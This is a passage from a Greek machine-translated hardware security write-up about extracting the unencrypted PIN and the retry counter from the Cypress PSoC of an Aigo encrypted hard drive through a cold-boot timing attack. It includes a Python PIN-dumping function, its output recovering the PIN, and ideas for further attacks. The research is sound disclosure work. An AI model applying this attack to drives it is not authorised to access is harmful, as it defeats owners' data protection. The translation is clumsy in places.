Έτσι, ο κωδικός PIN και ο μετρητής λανθασμένων προσπαθειών φαίνεται να είναι αποθηκευμένοι στο μπλοκ Νο. 126.

7.5. Λαμβάνοντας μια χωματερή του οικοπέδου Νο. 126

Το μπλοκ #126 θα πρέπει να βρίσκεται κάπου γύρω στα 125x64x18 = 144000μs, από την αρχή του υπολογισμού του αθροίσματος ελέγχου, στην πλήρη απόρριψή μου, και φαίνεται αρκετά εύλογο. Στη συνέχεια, αφού κοσκίνισα με μη αυτόματο τρόπο πολλές μη έγκυρες αποθήκες (λόγω της συσσώρευσης «μικρών αποκλίσεων χρονισμού»), κατέληξα να λάβω αυτά τα byte (με λανθάνουσα κατάσταση 145527 μs):

Αντιστροφή και παραβίαση αυτοκρυπτογραφούμενης εξωτερικής μονάδας σκληρού δίσκου Aigo. Μέρος 2: Λήψη χωματερής από το Cypress PSoC

Είναι προφανές ότι ο κωδικός PIN αποθηκεύεται σε μη κρυπτογραφημένη μορφή! Αυτές οι τιμές, φυσικά, δεν είναι γραμμένες σε κωδικούς ASCII, αλλά όπως αποδεικνύεται, αντικατοπτρίζουν τις μετρήσεις που λαμβάνονται από το χωρητικό πληκτρολόγιο.

Τέλος, έτρεξα μερικές ακόμη δοκιμές για να βρω πού ήταν αποθηκευμένος ο μετρητής κακής προσπάθειας. Ιδού το αποτέλεσμα:

Αντιστροφή και παραβίαση αυτοκρυπτογραφούμενης εξωτερικής μονάδας σκληρού δίσκου Aigo. Μέρος 2: Λήψη χωματερής από το Cypress PSoC

0xFF - σημαίνει "15 προσπάθειες" και μειώνεται με κάθε αποτυχημένη προσπάθεια.

7.6. Ανάκτηση κωδικού PIN

Εδώ είναι ο άσχημος κώδικας μου που συνδυάζει τα παραπάνω:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Εδώ είναι το αποτέλεσμα της εκτέλεσής του:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ζήτω! Εργα!

Λάβετε υπόψη ότι οι τιμές καθυστέρησης που χρησιμοποίησα είναι πιθανώς σχετικές με ένα συγκεκριμένο PSoC - αυτό που χρησιμοποίησα.

8. Τι ακολουθεί;

Λοιπόν, ας συνοψίσουμε στην πλευρά του PSoC, στο πλαίσιο της οδήγησης Aigo:

  • Μπορούμε να διαβάσουμε το SRAM ακόμα κι αν είναι προστατευμένο για ανάγνωση.
  • Μπορούμε να παρακάμψουμε την προστασία κατά του σάρωσης χρησιμοποιώντας μια επίθεση ίχνους κρύου εκκίνησης και διαβάζοντας απευθείας τον κωδικό PIN.

Ωστόσο, η επίθεσή μας έχει κάποια ελαττώματα λόγω προβλημάτων συγχρονισμού. Θα μπορούσε να βελτιωθεί ως εξής:

  • γράψτε ένα βοηθητικό πρόγραμμα για τη σωστή αποκωδικοποίηση των δεδομένων εξόδου που λαμβάνονται ως αποτέλεσμα μιας επίθεσης "ίχνος κρύου εκκίνησης".
  • χρησιμοποιήστε ένα gadget FPGA για να δημιουργήσετε πιο ακριβείς χρονικές καθυστερήσεις (ή χρησιμοποιήστε χρονοδιακόπτες υλικού Arduino).
  • δοκιμάστε μια άλλη επίθεση: εισαγάγετε έναν εσκεμμένα λανθασμένο κωδικό PIN, επανεκκινήστε και απορρίψτε τη μνήμη RAM, ελπίζοντας ότι ο σωστός κωδικός PIN θα αποθηκευτεί στη μνήμη RAM για σύγκριση. Ωστόσο, αυτό δεν είναι τόσο εύκολο να γίνει στο Arduino, αφού η στάθμη σήματος Arduino είναι 5 volt, ενώ η πλακέτα που εξετάζουμε λειτουργεί με σήματα 3,3 volt.

Ένα ενδιαφέρον πράγμα που θα μπορούσατε να δοκιμάσετε είναι να παίξετε με το επίπεδο τάσης για να παρακάμψετε την προστασία ανάγνωσης. Εάν αυτή η προσέγγιση λειτουργούσε, θα μπορούσαμε να λαμβάνουμε απολύτως ακριβή δεδομένα από τη μονάδα flash - αντί να βασιζόμαστε στην ανάγνωση ενός αθροίσματος ελέγχου με ανακριβείς χρονικές καθυστερήσεις.

Δεδομένου ότι το SROM πιθανώς διαβάζει τα bits guard μέσω της κλήσης συστήματος ReadBlock, θα μπορούσαμε να κάνουμε το ίδιο πράγμα όπως περιγράφεται στο blog του Dmitry Nedospasov - μια εκ νέου υλοποίηση της επίθεσης του Chris Gerlinski, που ανακοινώθηκε στο συνέδριο "REcon Βρυξέλλες 2017".

Ένα άλλο διασκεδαστικό πράγμα που θα μπορούσε να γίνει είναι να αφαιρέσετε τη θήκη από το τσιπ: να αφαιρέσετε μια ένδειξη SRAM, να εντοπίσετε μη τεκμηριωμένες κλήσεις συστήματος και ευπάθειες.

9. Συμπέρασμα

Έτσι, η προστασία αυτής της μονάδας αφήνει πολλά περιθώρια, επειδή χρησιμοποιεί έναν κανονικό (όχι "σκληρυμένο") μικροελεγκτή για την αποθήκευση του κωδικού PIN... Επιπλέον, δεν έχω κοιτάξει (ακόμα) πώς πάνε τα πράγματα με τα δεδομένα κρυπτογράφηση σε αυτή τη συσκευή!

Τι μπορείτε να προτείνετε για το Aigo; Αφού ανέλυσα μερικά μοντέλα κρυπτογραφημένων μονάδων HDD, το 2015 έφτιαξα παρουσίαση στο SyScan, στο οποίο εξέτασε τα προβλήματα ασφαλείας πολλών εξωτερικών μονάδων HDD και έκανε συστάσεις για το τι θα μπορούσε να βελτιωθεί σε αυτές. 🙂

Πέρασα δύο Σαββατοκύριακα και αρκετά βράδια κάνοντας αυτήν την έρευνα. Συνολικά περίπου 40 ώρες. Μετρώντας από την αρχή (όταν άνοιξα τον δίσκο) μέχρι το τέλος (απόδειξη κωδικού PIN). Στις ίδιες 40 ώρες περιλαμβάνεται και ο χρόνος που αφιέρωσα γράφοντας αυτό το άρθρο. Ήταν ένα πολύ συναρπαστικό ταξίδι.

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο